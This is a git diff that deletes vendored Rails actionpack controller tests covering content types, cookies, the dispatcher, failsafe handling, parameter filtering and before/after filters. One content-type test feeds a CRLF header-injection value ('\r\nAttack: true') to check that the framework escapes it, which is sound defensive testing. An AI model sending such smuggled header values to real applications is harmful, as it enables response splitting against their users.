-    xhr :post, :render_default_for_rjs
-    assert_equal Mime::JS, @response.content_type
-    assert_equal "utf-8", @response.charset
-  end
-
-  def test_change_for_rxml
-    get :render_change_for_rxml
-    assert_equal Mime::HTML, @response.content_type
-    assert_equal "utf-8", @response.charset
-  end
-  
-  def test_user_supplied_value
-    get :render_content_type_from_user_input, :hello=>"hello/world\r\nAttack: true"
-    assert_equal "hello/world%0D%0AAttack: true", @response.content_type
-  end
-end
-
-class AcceptBasedContentTypeTest < ActionController::TestCase
-
-  tests ContentTypeController
-
-  def setup
-    ActionController::Base.use_accept_header = true
-  end
-
-  def teardown
-    ActionController::Base.use_accept_header = false
-  end
-
-
-  def test_render_default_content_types_for_respond_to
-    @request.accept = Mime::HTML.to_s
-    get :render_default_content_types_for_respond_to
-    assert_equal Mime::HTML, @response.content_type
-
-    @request.accept = Mime::JS.to_s
-    get :render_default_content_types_for_respond_to
-    assert_equal Mime::JS, @response.content_type
-  end
-
-  def test_render_default_content_types_for_respond_to_with_template
-    @request.accept = Mime::XML.to_s
-    get :render_default_content_types_for_respond_to
-    assert_equal Mime::XML, @response.content_type
-  end
-
-  def test_render_default_content_types_for_respond_to_with_overwrite
-    @request.accept = Mime::RSS.to_s
-    get :render_default_content_types_for_respond_to
-    assert_equal Mime::XML, @response.content_type
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/controller_fixtures/app/controllers/admin/user_controller.rb b/vendor/rails/actionpack/test/controller/controller_fixtures/app/controllers/admin/user_controller.rb
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/actionpack/test/controller/controller_fixtures/app/controllers/user_controller.rb b/vendor/rails/actionpack/test/controller/controller_fixtures/app/controllers/user_controller.rb
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/actionpack/test/controller/controller_fixtures/vendor/plugins/bad_plugin/lib/plugin_controller.rb b/vendor/rails/actionpack/test/controller/controller_fixtures/vendor/plugins/bad_plugin/lib/plugin_controller.rb
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/actionpack/test/controller/cookie_test.rb b/vendor/rails/actionpack/test/controller/cookie_test.rb
deleted file mode 100644
index f517fdfe..00000000
--- a/vendor/rails/actionpack/test/controller/cookie_test.rb
+++ /dev/null
@@ -1,208 +0,0 @@
-require 'abstract_unit'
-
-class CookieTest < ActionController::TestCase
-  class TestController < ActionController::Base
-    self.cookie_verifier_secret = "thisISverySECRET123"
-    
-    def authenticate
-      cookies["user_name"] = "david"
-    end
-
-    def set_with_with_escapable_characters
-      cookies["that & guy"] = "foo & bar => baz"
-    end
-
-    def authenticate_for_fourteen_days
-      cookies["user_name"] = { "value" => "david", "expires" => Time.utc(2005, 10, 10,5) }
-    end
-
-    def authenticate_for_fourteen_days_with_symbols
-      cookies[:user_name] = { :value => "david", :expires => Time.utc(2005, 10, 10,5) }
-    end
-
-    def set_multiple_cookies
-      cookies["user_name"] = { "value" => "david", "expires" => Time.utc(2005, 10, 10,5) }
-      cookies["login"]     = "XJ-122"
-    end
-
-    def access_frozen_cookies
-      cookies["will"] = "work"
-    end
-
-    def logout
-      cookies.delete("user_name")
-    end
-
-    def delete_cookie_with_path
-      cookies.delete("user_name", :path => '/beaten')
-      render :text => "hello world"
-    end
-
-    def authenticate_with_http_only
-      cookies["user_name"] = { :value => "david", :httponly => true }
-    end
-    
-    def authenticate_with_secure
-      cookies["user_name"] = { :value => "david", :secure => true }
-    end
-    
-    def set_permanent_cookie
-      cookies.permanent[:user_name] = "Jamie"
-    end
-
-    def set_signed_cookie
-      cookies.signed[:user_id] = 45
-    end
-    
-    def set_permanent_signed_cookie
-      cookies.permanent.signed[:remember_me] = 100
-    end
-
-    def rescue_action(e)
-      raise unless ActionView::MissingTemplate # No templates here, and we don't care about the output
-    end
-  end
-
-  tests TestController
-
-  def setup
-    @request.host = "www.nextangle.com"
-  end
-
-  def test_setting_cookie
-    get :authenticate
-    assert_equal ["user_name=david; path=/"], @response.headers["Set-Cookie"]
-    assert_equal({"user_name" => "david"}, @response.cookies)
-  end
-
-  def test_setting_with_escapable_characters
-    get :set_with_with_escapable_characters
-    assert_equal ["that+%26+guy=foo+%26+bar+%3D%3E+baz; path=/"], @response.headers["Set-Cookie"]
-    assert_equal({"that & guy" => "foo & bar => baz"}, @response.cookies)
-  end
-
-  def test_setting_cookie_for_fourteen_days
-    get :authenticate_for_fourteen_days
-    assert_equal ["user_name=david; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT"], @response.headers["Set-Cookie"]
-    assert_equal({"user_name" => "david"}, @response.cookies)
-  end
-
-  def test_setting_cookie_for_fourteen_days_with_symbols
-    get :authenticate_for_fourteen_days_with_symbols
-    assert_equal ["user_name=david; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT"], @response.headers["Set-Cookie"]
-    assert_equal({"user_name" => "david"}, @response.cookies)
-  end
-
-  def test_setting_cookie_with_http_only
-    get :authenticate_with_http_only
-    assert_equal ["user_name=david; path=/; HttpOnly"], @response.headers["Set-Cookie"]
-    assert_equal({"user_name" => "david"}, @response.cookies)
-  end
-  
-  def test_setting_cookie_with_secure
-    @request.env["HTTPS"] = "on"
-    get :authenticate_with_secure
-    assert_equal ["user_name=david; path=/; secure"], @response.headers["Set-Cookie"]
-    assert_equal({"user_name" => "david"}, @response.cookies)
-  end
-
-  def test_setting_cookie_with_secure_in_development
-    with_environment(:development) do
-      get :authenticate_with_secure
-      assert_equal ["user_name=david; path=/; secure"], @response.headers["Set-Cookie"]
-      assert_equal({"user_name" => "david"}, @response.cookies)
-    end
-  end
-
-  def test_not_setting_cookie_with_secure
-    get :authenticate_with_secure
-    assert_not_equal ["user_name=david; path=/; secure"], @response.headers["Set-Cookie"]
-    assert_not_equal({"user_name" => "david"}, @response.cookies)
-  end
-
-  def test_multiple_cookies
-    get :set_multiple_cookies
-    assert_equal 2, @response.cookies.size
-    assert_equal "user_name=david; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT", @response.headers["Set-Cookie"][0]
-    assert_equal "login=XJ-122; path=/", @response.headers["Set-Cookie"][1]
-    assert_equal({"login" => "XJ-122", "user_name" => "david"}, @response.cookies)
-  end
-
-  def test_setting_test_cookie
-    assert_nothing_raised { get :access_frozen_cookies }
-  end
-
-  def test_expiring_cookie
-    get :logout
-    assert_equal ["user_name=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT"], @response.headers["Set-Cookie"]
-    assert_equal({"user_name" => nil}, @response.cookies)
-  end
-
-  def test_cookiejar_accessor
-    @request.cookies["user_name"] = "david"
-    @controller.request = @request
-    jar = ActionController::CookieJar.new(@controller)
-    assert_equal "david", jar["user_name"]
-    assert_equal nil, jar["something_else"]
-  end
-
-  def test_cookiejar_accessor_with_array_value
-    @request.cookies["pages"] = %w{1 2 3}
-    @controller.request = @request
-    jar = ActionController::CookieJar.new(@controller)
-    assert_equal %w{1 2 3}, jar["pages"]
-  end
-
-  def test_cookiejar_delete_removes_item_and_returns_its_value
-    @request.cookies["user_name"] = "david"
-    @controller.response = @response
-    jar = ActionController::CookieJar.new(@controller)
-    assert_equal "david", jar.delete("user_name")
-  end
-
-  def test_delete_cookie_with_path
-    get :delete_cookie_with_path
-    assert_equal ["user_name=; path=/beaten; expires=Thu, 01-Jan-1970 00:00:00 GMT"], @response.headers["Set-Cookie"]
-  end
-
-  def test_cookies_persist_throughout_request
-    get :authenticate
-    cookies = @controller.send(:cookies)
-    assert_equal 'david', cookies['user_name']
-  end
-  
-  def test_permanent_cookie
-    get :set_permanent_cookie
-    assert_match /Jamie/, @response.headers["Set-Cookie"].first
-    assert_match %r(#{20.years.from_now.year}), @response.headers["Set-Cookie"].first
-  end
-  
-  def test_signed_cookie
-    get :set_signed_cookie
-    assert_equal 45, @controller.send(:cookies).signed[:user_id]
-  end
-  
-  def test_accessing_nonexistant_signed_cookie_should_not_raise_an_invalid_signature
-    get :set_signed_cookie
-    assert_nil @controller.send(:cookies).signed[:non_existant_attribute]
-  end
-  
-  def test_permanent_signed_cookie
-    get :set_permanent_signed_cookie
-    assert_match %r(#{20.years.from_now.year}), @response.headers["Set-Cookie"].first
-    assert_equal 100, @controller.send(:cookies).signed[:remember_me]
-  end
-
-  private
-    def with_environment(enviroment)
-      old_rails = Object.const_get(:Rails) rescue nil
-      mod = Object.const_set(:Rails, Module.new)
-      (class << mod; self; end).instance_eval do
-        define_method(:env) { @_env ||= ActiveSupport::StringInquirer.new(enviroment.to_s) }
-      end
-      yield
-    ensure
-      Object.module_eval { remove_const(:Rails) } if defined?(Rails)
-      Object.const_set(:Rails, old_rails) if old_rails
-    end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/controller/deprecation/deprecated_base_methods_test.rb b/vendor/rails/actionpack/test/controller/deprecation/deprecated_base_methods_test.rb
deleted file mode 100644
index dd69a630..00000000
--- a/vendor/rails/actionpack/test/controller/deprecation/deprecated_base_methods_test.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-require 'abstract_unit'
-
-class DeprecatedBaseMethodsTest < ActionController::TestCase
-  class Target < ActionController::Base
-    def home_url(greeting)
-      "http://example.com/#{greeting}"
-    end
-
-    def raises_name_error
-      this_method_doesnt_exist
-    end
-
-    def rescue_action(e) raise e end
-  end
-
-  tests Target
-
-  def test_log_error_silences_deprecation_warnings
-    get :raises_name_error
-  rescue => e
-    assert_not_deprecated { @controller.send :log_error, e }
-  end
-
-  if defined? Test::Unit::Error
-    def test_assertion_failed_error_silences_deprecation_warnings
-      get :raises_name_error
-    rescue => e
-      error = Test::Unit::Error.new('testing ur doodz', e)
-      assert_not_deprecated { error.message }
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/dispatcher_test.rb b/vendor/rails/actionpack/test/controller/dispatcher_test.rb
deleted file mode 100644
index 61e70070..00000000
--- a/vendor/rails/actionpack/test/controller/dispatcher_test.rb
+++ /dev/null
@@ -1,144 +0,0 @@
-require 'abstract_unit'
-
-class DispatcherTest < Test::Unit::TestCase
-  Dispatcher = ActionController::Dispatcher
-  Reloader   = ActionController::Reloader
-
-  def setup
-    ENV['REQUEST_METHOD'] = 'GET'
-    reset_dispatcher
-    Dispatcher.stubs(:require_dependency)
-  end
-
-  def teardown
-    ENV.delete 'REQUEST_METHOD'
-    reset_dispatcher
-  end
-
-  def test_clears_dependencies_after_dispatch_if_in_loading_mode
-    ActiveSupport::Dependencies.expects(:clear).once
-    # Close the response so dependencies kicks in
-    dispatch(false).last.close
-  end
-
-  def test_reloads_routes_before_dispatch_if_in_loading_mode
-    ActionController::Routing::Routes.expects(:reload).once
-    dispatch(false)
-  end
-
-  def test_leaves_dependencies_after_dispatch_if_not_in_loading_mode
-    ActionController::Routing::Routes.expects(:reload).never
-    ActiveSupport::Dependencies.expects(:clear).never
-
-    dispatch
-  end
-
-  def test_builds_middleware_stack_only_during_initialization_if_not_in_loading_mode
-    dispatcher = create_dispatcher
-    assert_not_nil dispatcher.instance_variable_get(:"@app")
-    dispatcher.instance_variable_set(:"@app", lambda { |env| })
-    dispatcher.expects(:build_middleware_stack).never
-    dispatcher.call(nil)
-    dispatcher.call(nil)
-  end
-
-  def test_rebuilds_middleware_stack_on_every_request_if_in_loading_mode
-    dispatcher = create_dispatcher(false)
-    dispatcher.instance_variable_set(:"@app", lambda { |env| })
-    dispatcher.expects(:build_middleware_stack).twice
-    dispatcher.call(nil)
-    Reloader.default_lock.unlock
-    dispatcher.call(nil)
-  end
-
-  def test_doesnt_wrap_call_in_reloader_if_not_in_loading_mode
-    Reloader.expects(:run).never
-    dispatch
-  end
-
-  def test_wraps_call_in_reloader_if_in_loading_mode
-    Reloader.expects(:run).once
-    dispatch(false)
-  end
-
-  # Stub out dispatch error logger
-  class << Dispatcher
-    def log_failsafe_exception(status, exception); end
-  end
-
-  def test_failsafe_response
-    Dispatcher.any_instance.expects(:dispatch).raises('b00m')
-    ActionController::Failsafe.any_instance.expects(:log_failsafe_exception)
-
-    response = nil
-    assert_nothing_raised do
-      response = dispatch
-    end
-    assert_equal 3, response.size
-    assert_equal 500, response[0]
-    assert_equal({"Content-Type" => "text/html"}, response[1])
-    assert_match /500 Internal Server Error/, response[2].join
-  end
-
-  def test_prepare_callbacks
-    a = b = c = nil
-    Dispatcher.to_prepare { |*args| a = b = c = 1 }
-    Dispatcher.to_prepare { |*args| b = c = 2 }
-    Dispatcher.to_prepare { |*args| c = 3 }
-
-    # Ensure to_prepare callbacks are not run when defined
-    assert_nil a || b || c
-
-    # Run callbacks
-    Dispatcher.run_prepare_callbacks
-
-    assert_equal 1, a
-    assert_equal 2, b
-    assert_equal 3, c
-
-    # Make sure they are only run once
-    a = b = c = nil
-    dispatch
-    assert_nil a || b || c
-  end
-
-  def test_to_prepare_with_identifier_replaces
-    a = b = nil
-    Dispatcher.to_prepare(:unique_id) { |*args| a = b = 1 }
-    Dispatcher.to_prepare(:unique_id) { |*args| a = 2 }
-
-    Dispatcher.run_prepare_callbacks
-    assert_equal 2, a
-    assert_equal nil, b
-  end
-
-  private
-    def dispatch(cache_classes = true)
-      ActionController::Routing::RouteSet.any_instance.stubs(:call).returns([200, {}, 'response'])
-      Dispatcher.define_dispatcher_callbacks(cache_classes)
-      Dispatcher.new.call({'rack.input' => StringIO.new('')})
-    end
-
-    def create_dispatcher(cache_classes = true)
-      Dispatcher.define_dispatcher_callbacks(cache_classes)
-      Dispatcher.new
-    end
-
-    def reset_dispatcher
-      Dispatcher.middleware = ActionController::MiddlewareStack.new do |middleware|
-        middlewares = File.expand_path(File.join(File.dirname(__FILE__), "../../lib/action_controller/middlewares.rb"))
-        middleware.instance_eval(File.read(middlewares))
-      end
-
-      # Clear callbacks as they are redefined by Dispatcher#define_dispatcher_callbacks
-      Dispatcher.instance_variable_set("@prepare_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-      Dispatcher.instance_variable_set("@before_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-      Dispatcher.instance_variable_set("@after_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-
-      Dispatcher.define_dispatcher_callbacks(true)
-    end
-
-    def assert_subclasses(howmany, klass, message = klass.subclasses.inspect)
-      assert_equal howmany, klass.subclasses.size, message
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/dom_assertions_test.rb b/vendor/rails/actionpack/test/controller/dom_assertions_test.rb
deleted file mode 100644
index deddc442..00000000
--- a/vendor/rails/actionpack/test/controller/dom_assertions_test.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-require 'abstract_unit'
-
-class DomAssertionsTest < ActionView::TestCase
-  def setup
-    super
-    @html_only = '<ul><li>foo</li><li>bar</li></ul>'
-    @html_with_meaningless_whitespace = %{
-      <ul>
-        <li>\tfoo  </li>
-        <li>
-        bar
-        </li>
-      </ul>
-    }
-    @more_html_with_meaningless_whitespace = %{<ul>
-      
-      <li>foo</li>
-
-<li>bar</li></ul>}
-  end
-  
-  test "assert_dom_equal strips meaningless whitespace from expected string" do
-    assert_dom_equal @html_with_meaningless_whitespace, @html_only
-  end
-
-  test "assert_dom_equal strips meaningless whitespace from actual string" do
-    assert_dom_equal @html_only, @html_with_meaningless_whitespace
-  end
-  
-  test "assert_dom_equal strips meaningless whitespace from both expected and actual strings" do
-    assert_dom_equal @more_html_with_meaningless_whitespace, @html_with_meaningless_whitespace
-  end
-  
-  test "assert_dom_not_equal strips meaningless whitespace from expected string" do
-    assert_assertion_fails { assert_dom_not_equal @html_with_meaningless_whitespace, @html_only }
-  end
-  
-  test "assert_dom_not_equal strips meaningless whitespace from actual string" do
-    assert_assertion_fails { assert_dom_not_equal @html_only, @html_with_meaningless_whitespace }
-  end
-  
-  test "assert_dom_not_equal strips meaningless whitespace from both expected and actual strings" do
-    assert_assertion_fails do
-      assert_dom_not_equal @more_html_with_meaningless_whitespace, @html_with_meaningless_whitespace
-    end
-  end
-  
-  private
-  
-  def assert_assertion_fails
-    assert_raise(ActiveSupport::TestCase::Assertion) { yield }
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/failsafe_test.rb b/vendor/rails/actionpack/test/controller/failsafe_test.rb
deleted file mode 100644
index 9008f645..00000000
--- a/vendor/rails/actionpack/test/controller/failsafe_test.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-require 'abstract_unit'
-require 'stringio'
-require 'logger'
-
-class FailsafeTest < ActionController::TestCase
-  FIXTURE_PUBLIC = "#{File.dirname(__FILE__)}/../fixtures/failsafe".freeze
-  
-  def setup
-    @old_error_file_path = ActionController::Failsafe.error_file_path
-    ActionController::Failsafe.error_file_path = FIXTURE_PUBLIC
-    @app = mock
-    @log_io = StringIO.new
-    @logger = Logger.new(@log_io)
-    @failsafe = ActionController::Failsafe.new(@app)
-    @failsafe.stubs(:failsafe_logger).returns(@logger)
-  end
-  
-  def teardown
-    ActionController::Failsafe.error_file_path = @old_error_file_path
-  end
-  
-  def app_will_raise_error!
-    @app.expects(:call).then.raises(RuntimeError.new("Printer on fire"))
-  end
-  
-  def test_calls_app_and_returns_its_return_value
-    @app.expects(:call).returns([200, { "Content-Type" => "text/html" }, "ok"])
-    assert_equal [200, { "Content-Type" => "text/html" }, "ok"], @failsafe.call({})
-  end
-  
-  def test_writes_to_log_file_on_exception
-    app_will_raise_error!
-    @failsafe.call({})
-    assert_match /Printer on fire/, @log_io.string     # Logs exception message.
-    assert_match /failsafe_test\.rb/, @log_io.string   # Logs backtrace.
-  end
-  
-  def test_returns_500_internal_server_error_on_exception
-    app_will_raise_error!
-    response = @failsafe.call({})
-    assert_equal 3, response.size    # It is a valid Rack response.
-    assert_equal 500, response[0]    # Status is 500.
-  end
-  
-  def test_renders_error_page_file_with_erb
-    app_will_raise_error!
-    response = @failsafe.call({})
-    assert_equal 500, response[0]
-    assert_equal "hello my world", response[2].join
-  end
-  
-  def test_returns_a_default_message_if_erb_rendering_failed
-    app_will_raise_error!
-    @failsafe.expects(:render_template).raises(RuntimeError.new("Harddisk is crashing"))
-    response = @failsafe.call({})
-    assert_equal 500, response[0]
-    assert_match /500 Internal Server Error/, response[2].join
-    assert_match %r(please read this web application's log file), response[2].join
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/fake_controllers.rb b/vendor/rails/actionpack/test/controller/fake_controllers.rb
deleted file mode 100644
index 75c114c1..00000000
--- a/vendor/rails/actionpack/test/controller/fake_controllers.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-class << Object; alias_method :const_available?, :const_defined?; end
-  
-class ContentController < Class.new(ActionController::Base)
-end
-class NotAController
-end
-module Admin
-  class << self; alias_method :const_available?, :const_defined?; end
-  class UserController < Class.new(ActionController::Base); end
-  class NewsFeedController < Class.new(ActionController::Base); end
-end
-
-# For speed test
-class SpeedController < ActionController::Base;  end
-class SearchController        < SpeedController; end
-class VideosController        < SpeedController; end
-class VideoFileController     < SpeedController; end
-class VideoSharesController   < SpeedController; end
-class VideoAbusesController   < SpeedController; end
-class VideoUploadsController  < SpeedController; end
-class VideoVisitsController   < SpeedController; end
-class UsersController         < SpeedController; end
-class SettingsController      < SpeedController; end
-class ChannelsController      < SpeedController; end
-class ChannelVideosController < SpeedController; end
-class SessionsController      < SpeedController; end
-class LostPasswordsController < SpeedController; end
-class PagesController         < SpeedController; end
-
-ActionController::Routing::Routes.draw do |map|
-  map.route_one 'route_one', :controller => 'elsewhere', :action => 'flash_me'
-  map.connect ':controller/:action/:id'
-end
diff --git a/vendor/rails/actionpack/test/controller/fake_models.rb b/vendor/rails/actionpack/test/controller/fake_models.rb
deleted file mode 100644
index 0b30c79b..00000000
--- a/vendor/rails/actionpack/test/controller/fake_models.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-class Customer < Struct.new(:name, :id)
-  def to_param
-    id.to_s
-  end
-end
-
-class BadCustomer < Customer
-end
-
-class GoodCustomer < Customer
-end
-
-module Quiz
-  class Question < Struct.new(:name, :id)
-    def to_param
-      id.to_s
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/filter_params_test.rb b/vendor/rails/actionpack/test/controller/filter_params_test.rb
deleted file mode 100644
index 670edc15..00000000
--- a/vendor/rails/actionpack/test/controller/filter_params_test.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-require 'abstract_unit'
-
-class FilterParamController < ActionController::Base
-end
-
-class FilterParamTest < Test::Unit::TestCase
-  def setup
-    @controller = FilterParamController.new
-  end
-
-  def test_filter_parameters
-    assert FilterParamController.respond_to?(:filter_parameter_logging)
-    assert !@controller.respond_to?(:filter_parameters)
-
-    FilterParamController.filter_parameter_logging
-    assert @controller.respond_to?(:filter_parameters)
-
-    test_hashes = [[{},{},[]],
-    [{'foo'=>nil},{'foo'=>nil},[]],
-    [{'foo'=>'bar'},{'foo'=>'bar'},[]],
-    [{'foo'=>1},{'foo'=>1},[]],
-    [{'foo'=>'bar'},{'foo'=>'bar'},%w'food'],
-    [{'foo'=>'bar'},{'foo'=>'[FILTERED]'},%w'foo'],
-    [{'foo'=>'bar', 'bar'=>'foo'},{'foo'=>'[FILTERED]', 'bar'=>'foo'},%w'foo baz'],
-    [{'foo'=>'bar', 'baz'=>'foo'},{'foo'=>'[FILTERED]', 'baz'=>'[FILTERED]'},%w'foo baz'],
-    [{'bar'=>{'foo'=>'bar','bar'=>'foo'}},{'bar'=>{'foo'=>'[FILTERED]','bar'=>'foo'}},%w'fo'],
-    [{'foo'=>{'foo'=>'bar','bar'=>'foo'}},{'foo'=>'[FILTERED]'},%w'f banana'],
-    [{'baz'=>[{'foo'=>'baz'}]}, {'baz'=>[{'foo'=>'[FILTERED]'}]}, %w(foo)],
-    [{'baz'=>[{'foo'=>'baz'}, 1, 2, 3]}, {'baz'=>[{'foo'=>'[FILTERED]'}, 1, 2, 3]}, %w(foo)]]
-
-    test_hashes.each do |before_filter, after_filter, filter_words|
-      FilterParamController.filter_parameter_logging(*filter_words)
-      assert_equal after_filter, @controller.__send__(:filter_parameters, before_filter)
-
-      filter_words.push('blah')
-      FilterParamController.filter_parameter_logging(*filter_words) do |key, value|
-        value.reverse! if key =~ /bargain/
-      end
-
-      before_filter['barg'] = {'bargain'=>'gain', 'blah'=>'bar', 'bar'=>{'bargain'=>{'blah'=>'foo'}}}
-      after_filter['barg'] = {'bargain'=>'niag', 'blah'=>'[FILTERED]', 'bar'=>{'bargain'=>{'blah'=>'[FILTERED]'}}}
-
-      assert_equal after_filter, @controller.__send__(:filter_parameters, before_filter)
-    end
-  end
-
-  def test_filter_parameters_is_protected
-    FilterParamController.filter_parameter_logging(:foo)
-    assert !FilterParamController.action_methods.include?('filter_parameters')
-    assert_raise(NoMethodError) { @controller.filter_parameters([{'password' => '[FILTERED]'}]) }
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/filters_test.rb b/vendor/rails/actionpack/test/controller/filters_test.rb
deleted file mode 100644
index e83fde23..00000000
--- a/vendor/rails/actionpack/test/controller/filters_test.rb
+++ /dev/null
@@ -1,885 +0,0 @@
-require 'abstract_unit'
-
-# FIXME: crashes Ruby 1.9
-class FilterTest < Test::Unit::TestCase
-  class TestController < ActionController::Base
-    before_filter :ensure_login
-    after_filter  :clean_up
-
-    def show
-      render :inline => "ran action"
-    end
-
-    private
-      def ensure_login
-        @ran_filter ||= []
-        @ran_filter << "ensure_login"
-      end
-
-      def clean_up
-        @ran_after_filter ||= []
-        @ran_after_filter << "clean_up"
-      end
-  end
-
-  class ChangingTheRequirementsController < TestController
-    before_filter :ensure_login, :except => [:go_wild]
-
-    def go_wild
-      render :text => "gobble"
-    end
-  end
-
-  class TestMultipleFiltersController < ActionController::Base
-    before_filter :try_1
-    before_filter :try_2
-    before_filter :try_3
-
-    (1..3).each do |i|
-      define_method "fail_#{i}" do
-        render :text => i.to_s
-      end
-    end
-
-    protected
-    (1..3).each do |i|
-      define_method "try_#{i}" do
-        instance_variable_set :@try, i
-        if action_name == "fail_#{i}"
-          head(404)
-        end
-      end
-    end
-  end
-
-  class RenderingController < ActionController::Base
-    before_filter :render_something_else
-
-    def show
-      @ran_action = true
-      render :inline => "ran action"
-    end
-
-    private
-      def render_something_else
-        render :inline => "something else"
-      end
-  end
-
-  class ConditionalFilterController < ActionController::Base
-    def show
-      render :inline => "ran action"
-    end
-
-    def another_action
-      render :inline => "ran action"
-    end
-
-    def show_without_filter
-      render :inline => "ran action without filter"
-    end
-
-    private
-      def ensure_login
-        @ran_filter ||= []
-        @ran_filter << "ensure_login"
-      end
-
-      def clean_up_tmp
-        @ran_filter ||= []
-        @ran_filter << "clean_up_tmp"
-      end
-
-      def rescue_action(e) raise(e) end
-  end
-
-  class ConditionalCollectionFilterController < ConditionalFilterController
-    before_filter :ensure_login, :except => [ :show_without_filter, :another_action ]
-  end
-
-  class OnlyConditionSymController < ConditionalFilterController
-    before_filter :ensure_login, :only => :show
-  end
-
-  class ExceptConditionSymController < ConditionalFilterController
-    before_filter :ensure_login, :except => :show_without_filter
-  end
-
-  class BeforeAndAfterConditionController < ConditionalFilterController
-    before_filter :ensure_login, :only => :show
-    after_filter  :clean_up_tmp, :only => :show
-  end
-
-  class OnlyConditionProcController < ConditionalFilterController
-    before_filter(:only => :show) {|c| c.instance_variable_set(:"@ran_proc_filter", true) }
-  end
-
-  class ExceptConditionProcController < ConditionalFilterController
-    before_filter(:except => :show_without_filter) {|c| c.instance_variable_set(:"@ran_proc_filter", true) }
-  end
-
-  class ConditionalClassFilter
-    def self.filter(controller) controller.instance_variable_set(:"@ran_class_filter", true) end
-  end
-
-  class OnlyConditionClassController < ConditionalFilterController
-    before_filter ConditionalClassFilter, :only => :show
-  end
-
-  class ExceptConditionClassController < ConditionalFilterController
-    before_filter ConditionalClassFilter, :except => :show_without_filter
-  end
-
-  class AnomolousYetValidConditionController < ConditionalFilterController
-    before_filter(ConditionalClassFilter, :ensure_login, Proc.new {|c| c.instance_variable_set(:"@ran_proc_filter1", true)}, :except => :show_without_filter) { |c| c.instance_variable_set(:"@ran_proc_filter2", true)}
-  end
-
-  class ConditionalOptionsFilter < ConditionalFilterController
-    before_filter :ensure_login, :if => Proc.new { |c| true }
-    before_filter :clean_up_tmp, :if => Proc.new { |c| false }
-  end
-
-  class EmptyFilterChainController < TestController
-    self.filter_chain.clear
-    def show
-      @action_executed = true
-      render :text => "yawp!"
-    end
-  end
-
-  class PrependingController < TestController
-    prepend_before_filter :wonderful_life
-    # skip_before_filter :fire_flash
-
-    private
-      def wonderful_life
-        @ran_filter ||= []
-        @ran_filter << "wonderful_life"
-      end
-  end
-
-  class SkippingAndLimitedController < TestController
-    skip_before_filter :ensure_login
-    before_filter :ensure_login, :only => :index
-
-    def index
-      render :text => 'ok'
-    end
-    
-    def public
-    end
-  end
-  
-  class SkippingAndReorderingController < TestController
-    skip_before_filter :ensure_login
-    before_filter :find_record
-    before_filter :ensure_login
-
-    private
-      def find_record
-        @ran_filter ||= []
-        @ran_filter << "find_record"
-      end
-  end
-
-  class ConditionalSkippingController < TestController
-    skip_before_filter :ensure_login, :only => [ :login ]
-    skip_after_filter  :clean_up,     :only => [ :login ]
-
-    before_filter :find_user, :only => [ :change_password ]
-
-    def login
-      render :inline => "ran action"
-    end
-
-    def change_password
-      render :inline => "ran action"
-    end
-
-    protected
-      def find_user
-        @ran_filter ||= []
-        @ran_filter << "find_user"
-      end
-  end
-
-  class ConditionalParentOfConditionalSkippingController < ConditionalFilterController
-    before_filter :conditional_in_parent, :only => [:show, :another_action]
-    after_filter  :conditional_in_parent, :only => [:show, :another_action]
-
-    private
-
-      def conditional_in_parent
-        @ran_filter ||= []
-        @ran_filter << 'conditional_in_parent'
-      end
-  end
-
-  class ChildOfConditionalParentController < ConditionalParentOfConditionalSkippingController
-    skip_before_filter :conditional_in_parent, :only => :another_action
-    skip_after_filter  :conditional_in_parent, :only => :another_action
-  end
-
-  class AnotherChildOfConditionalParentController < ConditionalParentOfConditionalSkippingController
-    skip_before_filter :conditional_in_parent, :only => :show
-  end
-
-  class ProcController < PrependingController
-    before_filter(proc { |c| c.instance_variable_set(:"@ran_proc_filter", true) })
-  end
-
-  class ImplicitProcController < PrependingController
-    before_filter { |c| c.instance_variable_set(:"@ran_proc_filter", true) }
-  end
-
-  class AuditFilter
-    def self.filter(controller)
-      controller.instance_variable_set(:"@was_audited", true)
-    end
-  end
-
-  class AroundFilter
-    def before(controller)
-      @execution_log = "before"
-      controller.class.execution_log << " before aroundfilter " if controller.respond_to? :execution_log
-      controller.instance_variable_set(:"@before_ran", true)
-    end
-
-    def after(controller)
-      controller.instance_variable_set(:"@execution_log", @execution_log + " and after")
-      controller.instance_variable_set(:"@after_ran", true)
-      controller.class.execution_log << " after aroundfilter " if controller.respond_to? :execution_log
-    end
-  end
-
-  class AppendedAroundFilter
-    def before(controller)
-      controller.class.execution_log << " before appended aroundfilter "
-    end
-
-    def after(controller)
-      controller.class.execution_log << " after appended aroundfilter "
-    end
-  end
-
-  class AuditController < ActionController::Base
-    before_filter(AuditFilter)
-
-    def show
-      render :text => "hello"
-    end
-  end
-
-  class AroundFilterController < PrependingController
-    around_filter AroundFilter.new
-  end
-
-  class BeforeAfterClassFilterController < PrependingController
-    begin
-      filter = AroundFilter.new
-      before_filter filter
-      after_filter filter
-    end
-  end
-
-  class MixedFilterController < PrependingController
-    cattr_accessor :execution_log
-
-    def initialize
-      @@execution_log = ""
-    end
-
-    before_filter { |c| c.class.execution_log << " before procfilter "  }
-    prepend_around_filter AroundFilter.new
-
-    after_filter  { |c| c.class.execution_log << " after procfilter " }
-    append_around_filter AppendedAroundFilter.new
-  end
-
-  class MixedSpecializationController < ActionController::Base
-    class OutOfOrder < StandardError; end
-
-    before_filter :first
-    before_filter :second, :only => :foo
-
-    def foo
-      render :text => 'foo'
-    end
-
